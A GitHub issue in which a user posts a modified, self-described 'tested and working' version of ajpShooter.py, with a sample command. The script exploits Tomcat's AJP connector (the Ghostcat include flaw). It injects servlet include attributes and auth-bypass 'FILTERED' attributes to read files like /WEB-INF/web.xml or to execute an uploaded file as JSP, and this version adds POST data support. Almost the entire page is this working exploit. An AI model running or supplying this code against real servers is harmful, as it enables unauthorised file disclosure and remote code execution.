We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
完善了POST传输DATA的功能,代码写的比较乱(实测能用),可以做个参考吧。
python3 ajpShooter.py -X POST -d "a=1" "http://127.0.0.1" 8009 /index.jsp eval
代码如下:
#!/usr/bin/python3 # Author: 00theway import socket import binascii import argparse import urllib.parse debug = False def log(type, *args, **kwargs): if type == 'debug' and debug == False: return elif type == 'append' and debug == True: return elif type == 'append': kwargs['end'] = '' print(*args, **kwargs) return print('[%s]' % type.upper(), *args, **kwargs) class ajpRequest(object): def __init__(self, request_url, method='GET', headers=[], attributes=[]): self.request_url = request_url self.method = method self.headers = headers # print(self.headers) self.attributes = attributes def method2code(self, method): methods = { 'OPTIONS': 1, 'GET': 2, 'HEAD': 3, 'POST': 4, 'PUT': 5, 'DELETE': 6, 'TRACE': 7, 'PROPFIND': 8 } code = methods.get(method, 2) return code def make_headers(self): header2code = { b'accept': b'\xA0\x01', # SC_REQ_ACCEPT b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION b'connection': b'\xA0\x06', # SC_REQ_CONNECTION b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH b'cookie': b'\xA0\x09', # SC_REQ_COOKIE b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 b'host': b'\xA0\x0B', # SC_REQ_HOST b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA b'referer': b'\xA0\x0D', # SC_REQ_REFERER b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT } headers_ajp = [] for (header_name, header_value) in self.headers: code = header2code.get(header_name, b'') if code != b'': headers_ajp.append(code) headers_ajp.append(self.ajp_string(header_value)) else: headers_ajp.append(self.ajp_string(header_name)) headers_ajp.append(self.ajp_string(header_value)) return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) # def make_headers_post(self): # header2code = { # b'accept': b'\xA0\x01', # SC_REQ_ACCEPT # b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET # b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING # b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE # b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION # b'connection': b'\xA0\x06', # SC_REQ_CONNECTION # b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE # b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH # b'cookie': b'\xA0\x09', # SC_REQ_COOKIE # b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 # b'host': b'\xA0\x0B', # SC_REQ_HOST # b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA # b'referer': b'\xA0\x0D', # SC_REQ_REFERER # b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT # } # headers_ajp = [] # for (header_name, header_value) in self.headers: # code = header2code.get(header_name, b'') # if code != b'': # headers_ajp.append(code) # headers_ajp.append(self.ajp_string(header_value)) # else: # headers_ajp.append(self.ajp_string(header_name)) # headers_ajp.append(self.ajp_string(header_value)) # return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) def make_attributes(self): ''' org.apache.catalina.jsp_file javax.servlet.include.servlet_path + javax.servlet.include.path_info ''' attribute2code = { b'remote_user': b'\x03', b'auth_type': b'\x04', b'query_string': b'\x05', b'jvm_route': b'\x06', b'ssl_cert': b'\x07', b'ssl_cipher': b'\x08', b'ssl_session': b'\x09', b'req_attribute': b'\x0A', # Name (the name of the attribut follows) b'ssl_key_size': b'\x0B' } attributes_ajp = [] for (name, value) in self.attributes: code = attribute2code.get(name, b'') if code != b'': attributes_ajp.append(code) if code == b'\x0A': for v in value: attributes_ajp.append(self.ajp_string(v)) else: attributes_ajp.append(self.ajp_string(value)) return b''.join(attributes_ajp) def ajp_string(self, message_bytes): # an AJP string # the length of the string on two bytes + string + plus two null bytes message_len_int = len(message_bytes) return self.int2byte(message_len_int, 2) + message_bytes + b'\x00' def int2byte(self, data, byte_len=1): return data.to_bytes(byte_len, 'big') def make_forward_request_package(self): ''' AJP13_FORWARD_REQUEST := prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST method (byte) protocol (string) req_uri (string) remote_addr (string) remote_host (string) server_name (string) server_port (integer) is_ssl (boolean) num_headers (integer) request_headers *(req_header_name req_header_value) attributes *(attribut_name attribute_value) request_terminator (byte) OxFF ''' req_ob = urllib.parse.urlparse(self.request_url) # JK_AJP13_FORWARD_REQUEST prefix_code_int = 2 prefix_code_bytes = self.int2byte(prefix_code_int) method_bytes = self.int2byte(self.method2code(self.method)) protocol_bytes = b'HTTP/1.1' req_uri_bytes = req_ob.path.encode('utf8') remote_addr_bytes = b'127.0.0.1' remote_host_bytes = b'localhost' server_name_bytes = req_ob.hostname.encode('utf8') # SSL flag if req_ob.scheme == 'https': is_ssl_boolean = 1 else: is_ssl_boolean = 0 # port server_port_int = req_ob.port if not server_port_int: server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) num_headers_bytes, headers_ajp_bytes = self.make_headers() attributes_ajp_bytes = self.make_attributes() message = [] message.append(prefix_code_bytes) message.append(method_bytes) message.append(self.ajp_string(protocol_bytes)) message.append(self.ajp_string(req_uri_bytes)) message.append(self.ajp_string(remote_addr_bytes)) message.append(self.ajp_string(remote_host_bytes)) message.append(self.ajp_string(server_name_bytes)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message.append(headers_ajp_bytes) message.append(attributes_ajp_bytes) message.append(b'\xff') message_bytes = b''.join(message) send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) return send_bytes def make_forward_request_package_post(self): ''' AJP13_FORWARD_REQUEST := prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST method (byte) protocol (string) req_uri (string) remote_addr (string) remote_host (string) server_name (string) server_port (integer) is_ssl (boolean) num_headers (integer) request_headers *(req_header_name req_header_value) attributes *(attribut_name attribute_value) request_terminator (byte) OxFF ''' req_ob = urllib.parse.urlparse(self.request_url) # JK_AJP13_FORWARD_REQUEST prefix_code_int = 2 prefix_code_bytes = self.int2byte(prefix_code_int) method_bytes = self.int2byte(self.method2code(self.method)) protocol_bytes = b'http' req_uri_bytes = req_ob.path.encode('utf8') remote_addr_bytes = b'127.0.0.1' remote_host_bytes = b'localhost' server_name_bytes = req_ob.hostname.encode('utf8') # SSL flag if req_ob.scheme == 'https': is_ssl_boolean = 1 else: is_ssl_boolean = 0 # port server_port_int = req_ob.port if not server_port_int: server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) num_headers_bytes, headers_ajp_bytes = self.make_headers() print(headers_ajp_bytes) attributes_ajp_bytes = self.make_attributes() message = [] message.append(prefix_code_bytes) message.append(method_bytes) message.append(self.ajp_string(protocol_bytes)) message.append(self.ajp_string(req_uri_bytes)) message.append(self.ajp_string(remote_addr_bytes)) message.append(self.ajp_string(remote_host_bytes)) message.append(self.ajp_string(server_name_bytes)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message.append(headers_ajp_bytes) message.append(attributes_ajp_bytes) message.append(b'\xff') message_bytes = b''.join(message) send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) return send_bytes class ajpResponse(object): def __init__(self, s, out_file): self.sock = s self.out_file = out_file self.body_start = False self.common_response_headers = { b'\x01': b'Content-Type', b'\x02': b'Content-Language', b'\x03': b'Content-Length', b'\x04': b'Date', b'\x05': b'Last-Modified', b'\x06': b'Location', b'\x07': b'Set-Cookie', b'\x08': b'Set-Cookie2', b'\x09': b'Servlet-Engine', b'\x0a': b'Status', b'\x0b': b'WWW-Authenticate', } if not self.out_file: self.out_file = False else: log('*', 'store response in %s' % self.out_file) self.out = open(self.out_file, 'wb') def parse_response(self): log('debug', 'start') magic = self.recv(2) # first two bytes are the 'magic' log('debug', 'magic', magic, binascii.b2a_hex(magic)) # next two bytes are the length data_len_int = self.read_int(2) code_int = self.read_int(1) log('debug', 'code', code_int) if code_int == 3: self.parse_send_body_chunk() elif code_int == 4: self.parse_headers() elif code_int == 5: self.parse_response_end() quit() self.parse_response() def parse_headers(self): log("append", '\n') log('debug', 'parsing RESPONSE HEADERS') status_int = self.read_int(2) msg_bytes = self.read_string() log('<', status_int, msg_bytes.decode('utf8')) headers_number_int = self.read_int(2) log('debug', 'headers_nb', headers_number_int) for i in range(headers_number_int): # header name: two cases first_byte = self.recv(1) second_byte = self.recv(1) if first_byte == b'\xa0': header_key_bytes = self.common_response_headers[second_byte] else: header_len_bytes = first_byte + second_byte header_len_int = int.from_bytes(header_len_bytes, byteorder='big') header_key_bytes = self.read_bytes(header_len_int) # consume the 0x00 terminator self.recv(1) header_value_bytes = self.read_string() try: header_key_bytes = header_key_bytes.decode('utf8') header_value_bytes = header_value_bytes.decode('utf8') except: pass log('<', '%s: %s' % (header_key_bytes, header_value_bytes)) def parse_send_body_chunk(self): if not self.body_start: log('append', '\n') log('debug', 'start parsing body chunk') self.body_start = True chunk = self.read_string() if self.out_file: self.out.write(chunk) else: try: chunk = chunk.decode('utf8') except: pass log('append', chunk) def parse_response_end(self): log('debug', 'start parsing end') code_reuse_int = self.read_int(1) log('debug', "finish parsing end", code_reuse_int) self.sock.close() def read_int(self, int_len): return int.from_bytes(self.recv(int_len), byteorder='big') def read_bytes(self, bytes_len): return self.recv(bytes_len) def read_string(self, int_len=2): data_len = self.read_int(int_len) data = self.recv(data_len) # consume the 0x00 terminator end = self.recv(1) log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end)) return data def recv(self, data_len): data = self.sock.recv(data_len) while len(data) < data_len: log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data))) data += self.sock.recv(data_len - len(data)) return data class ajpShooter(object): def __init__(self, args): self.args = args self.headers = args.header self.ajp_port = args.ajp_port self.requesturl = args.url self.target_file = args.target_file self.shooter = args.shooter self.method = args.X self.out_file = args.out_file try: self.data = args.data[0] except: self.data = '' # print(self.data) def shoot(self): headers = self.transform_headers() # print(headers) target_file = self.target_file.encode('utf8') attributes = [] evil_req_attributes = [ (b'javax.servlet.include.request_uri', b'index'), (b'javax.servlet.include.servlet_path', target_file), (b'authc.FILTERED', b'1'), (b'user.FILTERED', b'1'), (b'perms.FILTERED', b'1'), (b'role.FILTERED', b'1') ] for req_attr in evil_req_attributes: attributes.append((b"req_attribute", req_attr)) if self.shooter == 'read': self.requesturl += '/index.txt' else: self.requesturl += '/xxx.jsp' ajp_ip = urllib.parse.urlparse(self.requesturl).hostname s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ajp_ip, self.ajp_port)) # print(self.data) if self.data == '': message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package() print(message) s.send(message) ajpResponse(s, self.out_file).parse_response() else: post_data_len = len(self.data) # 注意这里的header 冒号后面不要加空格(不然会导致POST时卡死,坑了几个小时),当然也可以修一下解析逻辑(懒得写了,能用就行) post_headers = ['content-type:application/x-www-form-urlencoded', f'content-length:{post_data_len}'] newheaders = [] # 用户自己的header for header in self.headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) # 再append POST需要的header for header in post_headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) length0 = hex(post_data_len)[2:] length1 = hex(post_data_len + 2)[2:] if len(length0) < 4 and len(length1) < 4: padding0 = "" padding1 = "" i = 4 - len(length0) i1 = 4 - len(length1) for i2 in range(i): padding0 += "0" for i2 in range(i1): padding1 += "0" length0 = padding0 + length0 length1 = padding1 + length1 # print(self.method) message = ajpRequest(self.requesturl, self.method, newheaders, attributes).make_forward_request_package_post() # print(length1) # print(length1.encode()) post_data = '1234'.encode() + length1.encode() + length0.encode() + binascii.hexlify(self.data.encode()) print(post_data) post_data_2 = bytes.fromhex(post_data.decode()) # print(post_data) # print(all_data) print(message[:-1]) # 去除最后的\x00 s.send(message[:-1]) s.send(post_data_2) # s.send(post_data_2) ajpResponse(s, self.out_file).parse_response() def transform_headers(self): self.headers = [] if not self.headers else self.headers newheaders = [] print(self.headers) for header in self.headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) return newheaders if __name__ == "__main__": # parse command line arguments print(''' _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test ''') parser = argparse.ArgumentParser() parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/') parser.add_argument('ajp_port', default=8009, type=int, help='ajp port') parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg') parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file') parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url') parser.add_argument('-H', '--header', help='add a header', action='append') parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET', choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND']) parser.add_argument('-d', '--data', nargs=1, help='The data to POST') parser.add_argument('-o', '--out-file', help='write response to file') parser.add_argument('--debug', action='store_true', default=False) args = parser.parse_args() debug = args.debug ajpShooter(args).shoot()
The text was updated successfully, but these errors were encountered:
No branches or pull requests
完善了POST传输DATA的功能,代码写的比较乱(实测能用),可以做个参考吧。
代码如下:
The text was updated successfully, but these errors were encountered: